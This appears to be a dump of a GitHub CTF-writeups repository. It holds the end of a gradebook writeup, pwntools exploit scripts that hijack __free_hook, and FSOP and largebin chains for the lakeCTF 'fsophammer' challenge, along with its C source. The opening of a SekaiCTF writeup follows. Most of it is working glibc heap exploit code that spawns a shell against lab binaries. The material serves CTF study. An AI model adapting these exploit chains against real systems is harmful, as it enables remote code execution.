-la\n' 565 | [DEBUG] Received 0x177 bytes: 566 | b'total 2024\n' 567 | b'drwxr-xr-x 2 root root 4096 Nov 14 17:00 .\n' 568 | b'drwxr-xr-x 15 root root 4096 Nov 13 22:02 ..\n' 569 | b'-rw-r--r-- 1 root root 2380 Nov 14 17:00 exp2.py\n' 570 | b'-rw-r--r-- 1 root root 2367 Nov 12 20:35 exp.py\n' 571 | b'-rwxr-xr-x 1 root root 17608 Nov 11 21:34 gradebook\n' 572 | b'-rwxr-xr-x 1 root root 2029224 Nov 11 21:34 libc.so.6\n' 573 | b'-rw-r--r-- 1 root root 283 Nov 12 22:34 notes.md\n' 574 | total 2024 575 | drwxr-xr-x 2 root root 4096 Nov 14 17:00 . 576 | drwxr-xr-x 15 root root 4096 Nov 13 22:02 .. 577 | -rw-r--r-- 1 root root 2380 Nov 14 17:00 exp2.py 578 | -rw-r--r-- 1 root root 2367 Nov 12 20:35 exp.py 579 | -rwxr-xr-x 1 root root 17608 Nov 11 21:34 gradebook 580 | -rwxr-xr-x 1 root root 2029224 Nov 11 21:34 libc.so.6 581 | -rw-r--r-- 1 root root 283 Nov 12 22:34 notes.md 582 | $ 583 | ``` 584 | 585 | # Conclusion 586 | 587 | This was a nice challenge - i've never seen something as subtle as a format string mismatch in a ctf challenge before - it was only one character away from being correct. 588 | 589 | Actually all of the challenges I tried were pretty fun - well except the math challenges, I dont wanna talk about that lmao. 590 | 591 | See you in 3 months time when I make another one of these, or it might be before. Idk. 592 | 593 | Peace out. 594 | -------------------------------------------------------------------------------- /K3RN3LCTF_21/gradebook/exp.py: -------------------------------------------------------------------------------- 1 | from pwn import * 2 | 3 | p = 0 4 | pname = b"./gradebook" 5 | 6 | context.log_level = "DEBUG" 7 | 8 | script = ''' 9 | 10 | b *lookup+67 11 | b *update_name+181 12 | 13 | ''' 14 | 15 | ## Prims 16 | 17 | def add_stud(id, size, name): 18 | p.sendlineafter("> ", "1") 19 | p.sendafter("id: ", p64(id)) 20 | p.sendlineafter("length: ", str(size)) 21 | p.sendafter("name: ", name) 22 | 23 | def list_studs(): 24 | p.sendlineafter("> ", "2") 25 | 26 | def update_grade(id, grade): 27 | p.sendlineafter("> ", "3") 28 | p.sendafter("id: ", p64(id)) 29 | p.sendlineafter("grade: ", str(grade)) 30 | 31 | def update_name(id, name): 32 | p.sendlineafter("> ", "4") 33 | p.sendafter("id: ", p64(id)) 34 | p.sendafter("name: ", name) 35 | 36 | def close_grades(): 37 | p.sendlineafter("> ", "5") 38 | 39 | def main(): 40 | global p 41 | p = process(pname) 42 | #p = remote("ctf.k3rn3l4rmy.com", 2250) 43 | 44 | libc = ELF("./libc.so.6") 45 | 46 | gdb.attach(p, script) 47 | 48 | ## Leaks 49 | # Use the fact that only the first 8 bytes of the name buffer are cleared - if it goes into unsorted bin we get another main_arena ptr at bk as well. If we fill the first 8 bytes after the free, we can 50 | # print out this ptr. 51 | 52 | add_stud(0, 0x500, b"DONOTMATTER") 53 | add_stud(1, 0x20, b"DONOTMATTER") 54 | close_grades() 55 | 56 | add_stud(0, 0x500, b"A"*8) 57 | list_studs() 58 | p.recvuntil(b"A"*8) 59 | print(hex(leak := u64(p.recv(6) + b"\x00"*2))) 60 | libc.address = leak - (0x1ebb80+96) 61 | print(f"[*] Got libc base: {hex(libc.address)}") 62 | 63 | ## Get muh arbitrary write, use the fact that %ld is used as a format spec in update_grade to overwrite not only the grade (whats meant to happen) but the name length too. We then use that massive overflow 64 | # to write data into the student structure this name buffer belongs to, overwriting the name and giving us arbitrary write. 65 | 66 | # This gets freed first 67 | add_stud(1, 32, b"/bin/sh\x00") 68 | 69 | update_grade(0, 0xffffffffffffffff) 70 | update_name(0, 71 | 72 | b"A"*0x500 + 73 | p64(0) + 74 | p64(0x20) + 75 | 76 | p64(0) + 77 | # grade 78 | p32(0xffffffff) + 79 | # length 80 | p32(0x100) + 81 | # name 82 | p64(libc.symbols['__free_hook']) 83 | ) 84 | 85 | # Write &system into name (__free_hook) 86 | update_name(0, p64(libc.symbols['system'])) 87 | # free all chunks, thus getting shellz 88 | close_grades() 89 | 90 | p.interactive() 91 | 92 | if __name__ == "__main__": 93 | main() 94 | -------------------------------------------------------------------------------- /K3RN3LCTF_21/gradebook/gradebook: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/volticks/CTF-Writeups/0cc9ce5979b0562bc4581b01360b24542e5af478/K3RN3LCTF_21/gradebook/gradebook -------------------------------------------------------------------------------- /K3RN3LCTF_21/gradebook/ld-2.31.so: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/volticks/CTF-Writeups/0cc9ce5979b0562bc4581b01360b24542e5af478/K3RN3LCTF_21/gradebook/ld-2.31.so -------------------------------------------------------------------------------- /K3RN3LCTF_21/gradebook/libc.so.6: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/volticks/CTF-Writeups/0cc9ce5979b0562bc4581b01360b24542e5af478/K3RN3LCTF_21/gradebook/libc.so.6 -------------------------------------------------------------------------------- /K3RN3LCTF_21/gradebook/patch.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | 3 | patchelf ./gradebook --set-interpreter ./ld-2.31.so 4 | patchelf ./gradebook --replace-needed libc.so.6 ./libc.so.6 5 | -------------------------------------------------------------------------------- /Low fidelity friteups and annotated scripts/lakeCTF/24/fsophammer/Dockerfile: -------------------------------------------------------------------------------- 1 | FROM docker.io/library/ubuntu@sha256:278628f08d4979fb9af9ead44277dbc9c92c2465922310916ad0c46ec9999295 AS builder 2 | 3 | FROM pwn.red/jail@sha256:ee52ad5fd6cfed7fd8ea30b09792a6656045dd015f9bef4edbbfa2c6e672c28c 4 | 5 | COPY --from=builder / /srv 6 | 7 | COPY chal /srv/app/run 8 | COPY flag.txt /srv/app/flag.txt 9 | 10 | RUN chmod 755 /srv/app/run 11 | RUN chmod 744 /srv/app/flag.txt 12 | 13 | ENV JAIL_TIME=300 14 | ENV JAIL_MEM=50M 15 | -------------------------------------------------------------------------------- /Low fidelity friteups and annotated scripts/lakeCTF/24/fsophammer/README.md: -------------------------------------------------------------------------------- 1 | Tags: heap fsop glibc 2.39 OOB heap overflow all mitigations codecvt vtable 2 | -------------------------------------------------------------------------------- /Low fidelity friteups and annotated scripts/lakeCTF/24/fsophammer/chal: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/volticks/CTF-Writeups/0cc9ce5979b0562bc4581b01360b24542e5af478/Low fidelity friteups and annotated scripts/lakeCTF/24/fsophammer/chal -------------------------------------------------------------------------------- /Low fidelity friteups and annotated scripts/lakeCTF/24/fsophammer/chal.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #include 5 | #include 6 | #include 7 | 8 | #define N_ENTRIES 4 9 | #define MAX_SZ 0x3000 10 | 11 | const char banner[] = 12 | "\n\n" 13 | " _________.____ _____ _____ .____ ._. ____.\n" 14 | " / _____/| | / _ \\ / \\ | _| | | |_ |\n" 15 | " \\_____ \\ | | / /_\\ \\ / \\ / \\ | | |_| | " 16 | " |\n" 17 | " / \\| |___/ | \\/ Y \\ | | |-| | " 18 | "|\n" 19 | "/_______ /|_______ \\____|__ /\\____|__ / | |_ | | _| |\n" 20 | " \\/ \\/ \\/ \\/ |____| |_| " 21 | "|____|\n" 22 | " ______________ ______________ ._. \n" 23 | " \\__ ___/ | \\_ _____/ | | \n" 24 | " | | / ~ \\ __)_ |_| \n" 25 | " | | \\ Y / \\ |-| \n" 26 | " |____| \\___|_ /_______ / | | \n" 27 | " \\/ \\/ |_| " 28 | "\n\n"; 29 | char *entries[N_ENTRIES]; 30 | int slammed = 0; 31 | 32 | void init_setup(void) __attribute__((constructor)); 33 | void alloc(); 34 | void free(); 35 | void slam(); 36 | 37 | void init_setup() { 38 | setbuf(stdout, NULL); 39 | setbuf(stderr, NULL); 40 | } 41 | 42 | int get_num(const char *prompt, size_t *num, size_t bound) { 43 | printf("%s> ", prompt); 44 | int scanned = scanf("%zu", num); 45 | getchar(); 46 | if ((scanned != 1) || (bound && *num >= bound)) { 47 | puts("[-] getnum"); 48 | return -1; 49 | } 50 | return 0; 51 | } 52 | 53 | void get_str(char *buf, size_t cap) { 54 | char c; 55 | printf("content> "); 56 | // I'm so nice that you won't have to deal with null bytes 57 | for (int i = 0; i < cap; ++i) { 58 | int scanned = scanf("%c", &c); 59 | if (scanned != 1 || c == '\n') { 60 | return; 61 | } 62 | buf[i] = c; 63 | } 64 | } 65 | 66 | void alloc() { 67 | size_t idx; 68 | size_t sz; 69 | if (get_num("index", &idx, N_ENTRIES)) { 70 | return; 71 | } 72 | if (get_num("size", &sz, MAX_SZ)) { 73 | return; 74 | } 75 | entries[idx] = malloc(sz); 76 | get_str(entries[idx], sz); 77 | printf("alloc at index: %zu\n", idx); 78 | } 79 | 80 | void free_() { 81 | size_t idx; 82 | if (get_num("index", &idx, N_ENTRIES)) { 83 | return; 84 | } 85 | if (!entries[idx]) { 86 | return; 87 | } 88 | free(entries[idx]); 89 | entries[idx] = NULL; 90 | } 91 | 92 | void slam() { 93 | size_t idx; 94 | size_t pos; 95 | puts("is this rowhammer? is this a cosmic ray?"); 96 | puts("whatever, that's all you'll get!"); 97 | if (get_num("index", &idx, sizeof(*stdin))) { 98 | return; 99 | } 100 | 101 | if (idx < 64) { 102 | puts("[-] invalid index"); 103 | return; 104 | } 105 | 106 | if (get_num("pos", &pos, 8)) { 107 | return; 108 | } 109 | unsigned char byte = ((char *)stdin)[idx]; 110 | // Byte & 111 | unsigned char mask = ((1 << 8) - 1) & ~(1 << pos); 112 | byte = (byte & mask) | (~byte & (~mask)); 113 | ((char *)stdin)[idx] = byte; 114 | } 115 | 116 | void menu() { 117 | puts("1. alloc\n2. free\n3. slam"); 118 | size_t cmd; 119 | 120 | if (get_num("cmd", &cmd, 0)) { 121 | return; 122 | } 123 | 124 | switch (cmd) { 125 | case 1: 126 | alloc(); 127 | break; 128 | case 2: 129 | free_(); 130 | break; 131 | case 3: 132 | if (!slammed) { 133 | slam(); 134 | slammed = 1; 135 | } else { 136 | puts("[-] slammed already"); 137 | } 138 | break; 139 | default: 140 | puts("[-] invalid cmd"); 141 | break; 142 | } 143 | } 144 | 145 | int main() { 146 | puts(banner); 147 | while (1) { 148 | menu(); 149 | } 150 | return 0; 151 | } 152 | -------------------------------------------------------------------------------- /Low fidelity friteups and annotated scripts/lakeCTF/24/fsophammer/exp_lib.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | # Date: 2024-12-11 15:00:47 3 | # Link: https://github.com/RoderickChan/pwncli 4 | 5 | ## Ended up solving after the CTF 6 | ## Idea: We have a typical heap setup, are able to free and alloc (no show). 7 | ## We are also allowed to set one bit at a position in the stdin structure. 8 | ## Buffering is enabled, so heap will contain stdin/out/err output. 9 | ## 10 | ## We leverage this to set _IO_buf_end to be OOB, then leverage that to do largebin attack on the 11 | ## mp_.tcache_bins in libc. This allows us to grab tcache chunks oob of the tcache, which we then 12 | ## use to grab ptrs we partial overwrote to be stdout. Basically we grab stdout from the tcache. 13 | ## 14 | ## Resources: 15 | ## https://blog.kylebot.net/2022/10/22/angry-FSROP/ 16 | ## https://github.com/5kuuk/CTF-writeups/tree/main/tfc-2024/mcguava 17 | ## 18 | ## This script uses pwncli, https://github.com/RoderickChan/pwncli 19 | ## Used bata24's fork of gef, https://github.com/bata24/gef 20 | 21 | from pwncli import * 22 | 23 | context.binary = './chal' 24 | context.log_level = 'debug' 25 | context.timeout = 5 26 | 27 | 28 | gift.io = process('./chal', aslr=False) 29 | # gift.io = remote('127.0.0.1', 13337) 30 | gift.elf = ELF('./chal') 31 | gift.libc = ELF('./libc.so.6') 32 | 33 | io: tube = gift.io 34 | elf: ELF = gift.elf 35 | libc: ELF = gift.libc 36 | 37 | # one_gadgets: list = get_current_one_gadget_from_libc(more=False) 38 | # CurrentGadgets.set_find_area(find_in_elf=True, find_in_libc=False, do_initial=False) 39 | 40 | def debug(gdbscript="", stop=False): 41 | if isinstance(io, process): 42 | gdb.attach(io, gdbscript=gdbscript) 43 | if stop: 44 | pause() 45 | 46 | def cmd(i, prompt="> "): 47 | sla(prompt, i) 48 | 49 | def add(idx, sz, data): 50 | cmd('1') 51 | cmd(str(idx)) 52 | cmd(str(sz)) 53 | cmd(data) 54 | #...... 55 | 56 | def dele(idx): 57 | cmd('2') 58 | cmd(str(idx)) 59 | #...... 60 | 61 | def row(pos, bit): 62 | cmd('3') 63 | cmd(str(pos)) 64 | cmd(str(bit)) 65 | #...... 66 | 67 | ## For some reason my libc was mapped before main binary, didnt make much of a diff but thats why ur seeing this weird ass base address. 68 | ## This is just a breakpoint on the call to the __doallicate entry. 69 | debug(''' 70 | b * 0x155555302000 + 0x8ae94 71 | ''', stop=True) 72 | ## [0] Will have its size corrupted later by the stdout buffer, which lies above. 73 | add(0, 0x28, b"ASDF") 74 | 75 | ## [1-1] Content of first big large chunk will have padding and fake sizes at the end, as 76 | ## we plan on corrupting [0] to point into here. 77 | cont = flat([ 78 | ## First, fill with padding data. -0x40 to skip total size of [0] as we start writing bytes 0x40 bytes onward from 79 | ## [0] , so no need to write xtra 80 | ## 81 | ## 0x40 bytes in total 0x420-0x40 bytes in total 82 | ##┌──────────────────────────────────┐┌──────────────────────────────────┐ 83 | ##│[Header][Data....................]││[Header][Data....................]│ 84 | ##└──────────────────────────────────┘└──────────────────────────────────┘ 85 | ## 86 | b"C"*(0x420 - 0x40), 87 | ## Chunk [0] new size, (prev size). Unmasked since it will be free at this point. 88 | ## So no inuse bit. 89 | 0x420, 90 | ## Need to actually have a chunk to have this prev_size, and then need to forge the 91 | ## next chunk as well just to be sure 92 | 0x21, 93 | ## Random data to fill the gap, chunk size is 0x20 so usable size is -8. 94 | b"\xff"*0x18, 95 | ## Now we can stop faking, this should line up with the next chunk after this 96 | ## which should be the next fence maybe? 97 | 0x21 98 | ]) 99 | ## [1] Will be used for largebin attack later on, among other things, see [1-1] 100 | add(1, 0x428, cont) 101 | ## [~] Fences to stop top consuming em 102 | add(3, 0x10, b"FENCE") 103 | ## [2] Same as [1]. 104 | add(2, 0x418, b"SL") 105 | add(3, 0x10, b"FENCE") 106 | 107 | ## Put first lb chunk into unsorted bin 108 | dele(1) 109 | 110 | ## Next, we wanna trigger the overflow using the bitflip on the _IO_buf_end 111 | row(69, 5) 112 | 113 | ## Now accessing beyond 0x1000 in the stdin buf will overflow 114 | overflower = flat([ 115 | b"X"*0x1000, 116 | ## prev_size 117 | 0, 118 | ## new [0] size, will point to the fake 0x20 chunks, which will in turn point to 119 | ## the last fence chunk at [3]. 120 | 0x420 | 1 121 | ]) 122 | ## [1-2] Should flip over the chunk size now 123 | add(3, 0x1108, overflower) 124 | 125 | ## Now we have overflowed, we wanna free our fake chunk so we can regain control over the area we overlapped 126 | ## at [1-2]. 127 | dele(0) 128 | 129 | add(0, 0x38, "Z") 130 | ## Overwrite the BK to point to mp_.tcache_bins to allow us to bug tf out of the tcache. 131 | ## -0x20 cuz it'll add the metadata obv. 132 | add(0, 0x38, b"A"*8 + p16(0x51e8 - 0x20)) 133 | 134 | ## Now that we have tampered unsortedbin BK we need to trigger the attack. 135 | ## Free into unsortedbin 136 | dele(2) 137 | ## Alloc a chunk too big for it, triggering insertion 138 | add(2, 0x500, b"TST") 139 | ## Now using this we have OOB; we can request chunks lying outside the tcache bins, basically any pointer on the heap 140 | ## So: next thing is we need to leave some libc ptrs for us to use. 141 | ## 142 | ## 1 in 16 this will be a ptr to stdout, since we overwrite the libc bin ptr. 143 | add(2, 0x10, p16(0x65c0)) 144 | add(2, 0x10, p16(0x65c0)) 145 | 146 | ## Now try to see if we can get a tcache 147 | ## This overwrites all ptrs up until the write base, then overwrites the lsb of write base which makes 148 | ## it less than the end. This is one of the key things we need to trigger activity. 149 | ## 150 | ## Default ahh flags fake buffering on and other shiet so we printin shit. 151 | stdout1 = flat([ 152 | 0xfbad1800, 153 | 0, 154 | 0, 155 | 0, 156 | ]) 157 | stdout1 += b"\x00" 158 | add(2, 0x2558, stdout1) 159 | leak = u64(r(8)) 160 | libc.address = leak - 0x204644 161 | print(f"[!] Leak: {hex(leak)}") 162 | print(f"[!] Libc: {hex(libc.address)}") 163 | 164 | ## Now that we have leaks we can use the second stdout chunk to get rce innit. 165 | ## We will use the _wide_vtable method 166 | 167 | fstruct = FileStructure() 168 | fstruct.flags = 0x3b01010101010101 169 | fstruct._IO_read_ptr = b"/bin/sh\x00" 170 | fstruct._lock = libc.address + 0x720 171 | ## Point _wide_data (off + 0xe0) to a place we can control the value of the _wide_vtable in the struct, this ends up being the stdout ptr succeeding B*8 below. 172 | fstruct._wide_data = libc.sym["_IO_2_1_stdout_"] + 0x10 173 | ## Point our vtable to a legit place, as it is verified. This points into the _IO_wfile_jumps table. We offset enough that the 174 | ## old __xsputn entry (off 0x38) now overlaps with the _IO_wfile_overflow entry in the new wide table. This starts the chain 175 | ## when we try to print anything 176 | fstruct.vtable = libc.address + 0x2022b0 177 | ## Have our file struct, at end we write our vtable, pointing it back into stdout and subtracting the offset of the 178 | ## __doallocate entry in the vtable (0x68) (since the call will add 0x68 offset back). Then add 0xe0 to put us 179 | ## at the end of the stdout after _wide_vtable, where we have our system ptr 180 | pload = bytes(fstruct) + p64(libc.sym["system"]) + b"B"*8 + p64(libc.sym["_IO_2_1_stdout_"] - 0x68 + 0xe0) 181 | add(2, 0x2598, pload) 182 | ## So basically, edit _wide_data, point back into stdout at a place we can control _wide_vtable, then point the vtable back into stdout AGAIN, at a 183 | ## place we can control the __doallocate entry. 184 | ## Then remember to fulfill requirements: offset vtable in stdout so we call _IO_wfile_overflow. Remember that lock is present and correct 185 | ## flags are set. 186 | 187 | 188 | ia() 189 | -------------------------------------------------------------------------------- /Low fidelity friteups and annotated scripts/lakeCTF/24/fsophammer/exp_lib_codecvt.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | # Date: 2024-12-11 15:00:47 3 | # Link: https://github.com/RoderickChan/pwncli 4 | 5 | ## Ended up solving after the CTF 6 | ## Idea: We have a typical heap setup, are able to free and alloc (no show). 7 | ## We are also allowed to set one bit at a position in the stdin structure. 8 | ## Buffering is enabled, so heap will contain stdin/out/err output. 9 | ## 10 | ## We leverage this to set _IO_buf_end to be OOB, then leverage that to do largebin attack on the 11 | ## mp_.tcache_bins in libc. This allows us to grab tcache chunks oob of the tcache, which we then 12 | ## use to grab ptrs we partial overwrote to be stdout. Basically we grab stdout from the tcache. 13 | ## 14 | ## Resources: 15 | ## https://blog.kylebot.net/2022/10/22/angry-FSROP/ 16 | ## https://github.com/5kuuk/CTF-writeups/tree/main/tfc-2024/mcguava 17 | ## 18 | ## This script uses pwncli, https://github.com/RoderickChan/pwncli 19 | ## Used bata24's fork of gef, https://github.com/bata24/gef 20 | ## 21 | ## This file is a version of the same exploit using a different chain, namely the _codecvt chain. 22 | ## This is documented a bit below, and a great resource can be found here: https://niftic.ca/posts/fsop/#__libio_codecvt_in146. 23 | ## Its also used in the house of apple 3 :). 24 | 25 | from pwncli import * 26 | 27 | context.binary = './chal' 28 | context.log_level = 'debug' 29 | context.timeout = 5 30 | 31 | 32 | gift.io = process('./chal', aslr=False) 33 | # gift.io = remote('127.0.0.1', 13337) 34 | gift.elf = ELF('./chal') 35 | gift.libc = ELF('./libc.so.6') 36 | 37 | io: tube = gift.io 38 | elf: ELF = gift.elf 39 | libc: ELF = gift.libc 40 | 41 | # one_gadgets: list = get_current_one_gadget_from_libc(more=False) 42 | # CurrentGadgets.set_find_area(find_in_elf=True, find_in_libc=False, do_initial=False) 43 | 44 | def debug(gdbscript="", stop=False): 45 | if isinstance(io, process): 46 | gdb.attach(io, gdbscript=gdbscript) 47 | if stop: 48 | pause() 49 | 50 | def cmd(i, prompt="> "): 51 | sla(prompt, i) 52 | 53 | def add(idx, sz, data): 54 | cmd('1') 55 | cmd(str(idx)) 56 | cmd(str(sz)) 57 | cmd(data) 58 | #...... 59 | 60 | def dele(idx): 61 | cmd('2') 62 | cmd(str(idx)) 63 | #...... 64 | 65 | def row(pos, bit): 66 | cmd('3') 67 | cmd(str(pos)) 68 | cmd(str(bit)) 69 | #...... 70 | 71 | ## For some reason my libc was mapped before main binary, didnt make much of a diff but thats why ur seeing this weird ass base address. 72 | ## Breakpoints on relevant areas; mainly check on the __shlib_handle being null and the call of __fct 73 | debug(''' 74 | b * 0x155555302000 + 0x8ae94 75 | b _IO_wfile_underflow 76 | b *0x155555390049 77 | b *0x155555390092 78 | ''', stop=True) 79 | ## [0] Will have its size corrupted later by the stdout buffer, which lies above. 80 | add(0, 0x28, b"ASDF") 81 | 82 | ## [1-1] Content of first big large chunk will have padding and fake sizes at the end, as 83 | ## we plan on corrupting [0] to point into here. 84 | cont = flat([ 85 | ## First, fill with padding data. -0x40 to skip total size of [0] as we start writing bytes 0x40 bytes onward from 86 | ## [0] , so no need to write xtra 87 | ## 88 | ## 0x40 bytes in total 0x420-0x40 bytes in total 89 | ##┌──────────────────────────────────┐┌──────────────────────────────────┐ 90 | ##│[Header][Data....................]││[Header][Data....................]│ 91 | ##└──────────────────────────────────┘└──────────────────────────────────┘ 92 | ## 93 | b"C"*(0x420 - 0x40), 94 | ## Chunk [0] new size, (prev size). Unmasked since it will be free at this point. 95 | ## So no inuse bit. 96 | 0x420, 97 | ## Need to actually have a chunk to have this prev_size, and then need to forge the 98 | ## next chunk as well just to be sure 99 | 0x21, 100 | ## Random data to fill the gap, chunk size is 0x20 so usable size is -8. 101 | b"\xff"*0x18, 102 | ## Now we can stop faking, this should line up with the next chunk after this 103 | ## which should be the next fence maybe? 104 | 0x21 105 | ]) 106 | ## [1] Will be used for largebin attack later on, among other things, see [1-1] 107 | add(1, 0x428, cont) 108 | ## [~] Fences to stop top consuming em 109 | add(3, 0x10, b"FENCE") 110 | ## [2] Same as [1]. 111 | add(2, 0x418, b"SL") 112 | add(3, 0x10, b"FENCE") 113 | 114 | ## Put first lb chunk into unsorted bin 115 | dele(1) 116 | 117 | ## Next, we wanna trigger the overflow using the bitflip on the _IO_buf_end 118 | row(69, 5) 119 | 120 | ## Now accessing beyond 0x1000 in the stdin buf will overflow 121 | overflower = flat([ 122 | b"X"*0x1000, 123 | ## prev_size 124 | 0, 125 | ## new [0] size, will point to the fake 0x20 chunks, which will in turn point to 126 | ## the last fence chunk at [3]. 127 | 0x420 | 1 128 | ]) 129 | ## [1-2] Should flip over the chunk size now 130 | add(3, 0x1108, overflower) 131 | 132 | ## Now we have overflowed, we wanna free our fake chunk so we can regain control over the area we overlapped 133 | ## at [1-2]. 134 | dele(0) 135 | 136 | add(0, 0x38, "Z") 137 | ## Overwrite the BK to point to mp_.tcache_bins to allow us to bug tf out of the tcache. 138 | ## -0x20 cuz it'll add the metadata obv. 139 | add(0, 0x38, b"A"*8 + p16(0x51e8 - 0x20)) 140 | 141 | ## Now that we have tampered unsortedbin BK we need to trigger the attack. 142 | ## Free into unsortedbin 143 | dele(2) 144 | ## Alloc a chunk too big for it, triggering insertion 145 | add(2, 0x500, b"TST") 146 | ## Now using this we have OOB; we can request chunks lying outside the tcache bins, basically any pointer on the heap 147 | ## So: next thing is we need to leave some libc ptrs for us to use. 148 | ## 149 | ## 1 in 16 this will be a ptr to stdout, since we overwrite the libc bin ptr. 150 | add(2, 0x10, p16(0x65c0)) 151 | add(2, 0x10, p16(0x65c0)) 152 | 153 | ## Now try to see if we can get a tcache 154 | ## This overwrites all ptrs up until the write base, then overwrites the lsb of write base which makes 155 | ## it less than the end. This is one of the key things we need to trigger activity. 156 | ## 157 | ## Default ahh flags fake buffering on and other shiet so we printin shit. 158 | stdout1 = flat([ 159 | 0xfbad1800, 160 | 0, 161 | 0, 162 | 0, 163 | ]) 164 | stdout1 += b"\x00" 165 | add(2, 0x2558, stdout1) 166 | leak = u64(r(8)) 167 | libc.address = leak - 0x204644 168 | print(f"[!] Leak: {hex(leak)}") 169 | print(f"[!] Libc: {hex(libc.address)}") 170 | 171 | rdi_0x10_rcx = 0x00000000001724f0#: add rdi, 0x10; jmp rcx; 172 | 173 | ## Now that we have leaks we can use the second stdout chunk to get rce innit. 174 | fstruct = FileStructure() 175 | fstruct.flags = 0x3b01010101010101 176 | fstruct._IO_read_ptr = p64(libc.sym['system'])## rcx, this will be where we jump to 177 | fstruct._IO_read_end = p64(libc.sym['system']+1) ## _IO_read_ptr has to be lt read end 178 | ## This what the initial call r12 will jump to, however we dont control contents of rdi yet, so must offset it with a gadget. 179 | fstruct._IO_save_base = p64(libc.address + rdi_0x10_rcx) 180 | fstruct._lock = libc.address + 0x205720 181 | 182 | ## Just some random area i found with a buncha NOTHIN so we dont null deref when checking 183 | fstruct._wide_data = p64(libc.address + 0x205580) 184 | 185 | ## write_base overlaps perfectly with rdi, unfortunately this is where codecvt believes our __shlib_handle is, so we cant have anything here. 186 | ## write_ptr needs a value apparently 187 | fstruct._IO_write_ptr = b"X"*8 188 | fstruct._IO_write_end = b"/bin/sh\x00" 189 | ## Using a different chain this time; the codecvt method. Apparently used for character 190 | ## conversions and stuff 191 | ## 192 | ## This will point the _codecvt over the top of __pad5 member 193 | #/* 168 | 8 */ struct _IO_FILE *_freeres_list; 194 | #/* 176 | 8 */ void *_freeres_buf; 195 | #/* 184 | 8 */ size_t __pad5; <---- 196 | #/* 192 | 4 */ int _mode; 197 | #/* 196 | 20 */ char _unused2[20]; 198 | fstruct._codecvt = p64(libc.sym["_IO_2_1_stdout_"] + 0xb8) 199 | fstruct.unknown2 = p64(0)*2 ## freeres list and buf 200 | ## __pad5, our new _IO_iconv_t->step 201 | ## Point this to a place where we can control a couple things, mainly need to control __fct and __shlib_handle 202 | fstruct.unknown2 += p64(libc.sym["_IO_2_1_stdout_"] + 0x20) 203 | ## Set vtable, needs to be done this way for some reason or we dont set it at all, prolly to do with 204 | ## us messing with the unknown2 shit. Offsets so we can call _IO_wfile_underflow instead of puts thingy 205 | ## and set off the chain. 206 | fstruct.unknown2 += p64(0)*3 ## freeres list and buf 207 | fstruct.unknown2 += p64(libc.symbols['_IO_wfile_jumps'] - 0x18) 208 | 209 | add(2, 0x2598, bytes(fstruct)) 210 | 211 | 212 | ia() 213 | -------------------------------------------------------------------------------- /Low fidelity friteups and annotated scripts/lakeCTF/24/fsophammer/flag.txt: -------------------------------------------------------------------------------- 1 | AAAAAA 2 | -------------------------------------------------------------------------------- /Low fidelity friteups and annotated scripts/lakeCTF/24/fsophammer/ld-linux-x86-64.so.2: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/volticks/CTF-Writeups/0cc9ce5979b0562bc4581b01360b24542e5af478/Low fidelity friteups and annotated scripts/lakeCTF/24/fsophammer/ld-linux-x86-64.so.2 -------------------------------------------------------------------------------- /Low fidelity friteups and annotated scripts/lakeCTF/24/fsophammer/libc.so.6: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/volticks/CTF-Writeups/0cc9ce5979b0562bc4581b01360b24542e5af478/Low fidelity friteups and annotated scripts/lakeCTF/24/fsophammer/libc.so.6 -------------------------------------------------------------------------------- /Low fidelity friteups and annotated scripts/lakeCTF/24/fsophammer/run_docker.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | docker run --rm -p 9078:5000 -i -t --privileged fsophammer $@ 3 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # CTF-Writeups 2 | If I solve a CTF challenge and do a writeup, it goes here. 3 | -------------------------------------------------------------------------------- /SekaiCTF2022/saveme/README.md: -------------------------------------------------------------------------------- 1 | --- 2 | title: "SekaiCTF 2022 saveme writeup" 3 | layout: post 4 | categories: media 5 | --- 6 | 7 | # Intro 8 | 9 | Hello again, its been a while. Havent written anything recently mainly because I dont have anything to write about - im still playing ctf but most of the challenges I solve (or more likely, fail miserably to solve) don't have anything that hasnt been discussed already at length - and in a 10 | much more entertaining and informative way than i could. 11 | 12 | Today is different, though. 13 | 14 | This weekend i played SekaiCTF with zh3r0. I only managed to solve a single pwn challenge - saveme. It was fairly unique - not as much as the other pwn challenges, though :P. 15 | 16 | # The challenge 17 | Starting the binary we are greeted with a simple prompt: 18 | 19 | ``` 20 | This is the message from flag: 21 | ------------------------------------------------------ 22 | | I got lost in my memory, moving around and around. | 23 | | Please help me out! | 24 | | Here is your gift: 0x7fff84b50a40 | 25 | ------------------------------------------------------ 26 | [1] Save him 27 | [2] Ignore 28 | Your option: 29 | ``` 30 | 31 | Already a stack leak, nice. Apparently `flag` has gotten lost somewhere in memory. We have the choice to either save him, or ignore him. Well, given that I'm playing ctf I dont have time for the problems of others at the moment, so we ignore: 32 | 33 | ``` 34 | Please leave note for the next person: 35 | ``` 36 | 37 | We can leave a note for the next poor soul that comes by, okay. Which then gets printed back to us - of course. 38 | 39 | ## Reversing 40 | 41 | Checksec gives us: 42 | 43 | ``` 44 | [*] '/root/Documents/CTF/SekaiCTF22/saveme/saveme' 45 | Arch: amd64-64-little 46 | RELRO: Partial RELRO 47 | Stack: Canary found 48 | NX: NX enabled 49 | PIE: No PIE (0x3fc000) 50 | ``` 51 | 52 | Partial relro and no PIE generally makes a nice 1-2 combo - lets see if we can use this anywhere. The main function looks like this: 53 | 54 | ```c 55 | __int64 __fastcall main(__int64 a1, char **a2, char **a3) 56 | { 57 | __int64 choice; // [rsp+8h] [rbp-68h] BYREF 58 | char format[88]; // [rsp+10h] [rbp-60h] BYREF 59 | unsigned __int64 v6; // [rsp+68h] [rbp-8h] 60 | 61 | v6 = __readfsqword(0x28u); 62 | choice = 0LL; 63 | load_flag(a1, a2, a3); 64 | alloc_mem_and_setup(format); 65 | seccomp_start(); 66 | puts("This is the message from flag:"); 67 | puts("------------------------------------------------------"); 68 | puts("| I got lost in my memory, moving around and around. |"); 